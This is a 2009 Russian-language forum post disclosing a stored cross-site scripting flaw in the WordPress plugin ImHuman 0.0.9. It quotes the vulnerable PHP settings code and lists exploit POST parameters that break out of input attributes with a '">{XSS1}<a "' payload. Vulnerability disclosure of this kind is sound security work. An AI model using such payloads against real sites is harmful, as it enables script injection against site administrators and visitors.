30.06.2009, 19:09
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
WordPress Plugin ImHuman 0.0.9 XSS Vuln
http://wordpress.org/extend/plugins/imhuman-a-humanized-captcha/
\imhuman.php
(c)eLwaux 30.06.2009, uasc.org.ua
PHP код:
151: if(isset( $_POST['do'] )) {
152: if ( function_exists('current_user_can') && !current_user_can('manage_options') )
153: die(__('Cheatin’ uh?'));
154: check_admin_referer($plugin_page);
155:
156: $t['imhuman_api_user'] = $_POST['imhuman_api_user'];
157: $t['imhuman_api_key'] = $_POST['imhuman_api_key'];
158: $t['imhuman_row'] = $_POST['imhuman_row'];
159: $t['imhuman_col'] = $_POST['imhuman_col'];
160: $t['imhuman_sel'] = $_POST['imhuman_sel'];
161: $t['imhuman_exc'] = isset($_POST['imhuman_exc'] ) ? 1 : 0;
162: $t['imhuman_word'] = $_POST['imhuman_word'];
163: $t['imhuman_lang'] = $_POST['imhuman_lang'];
164: update_option( 'imhuman_options', $t );
165: $m = '<p>Settings Saved!</p>';
166: }
167: $options = get_option( 'imhuman_options' );
....
194: <td><input type="text" name="imhuman_api_user" id="imhuman_api_user" value="<?php echo $options['imhuman_api_user']; ?>" /></td>
195: </tr>
196: <tr>
197: <th><?php _e('ImHuman Ap? Key'); ?></th>
198: <td><input type="text" name="imhuman_api_key" id="imhuman_api_key" value="<?php echo $options['imhuman_api_key']; ?>" /></td>
exploit:
Код:
POST: do=.
POST: imhuman_api_user=">{XSS1}<a "
POST: imhuman_api_key=">{XSS1}<a "
POST: imhuman_row=.
POST: imhuman_col=.
POST: imhuman_sel=.
POST: imhuman_word=.
POST: imhuman_lang=.
|
|
|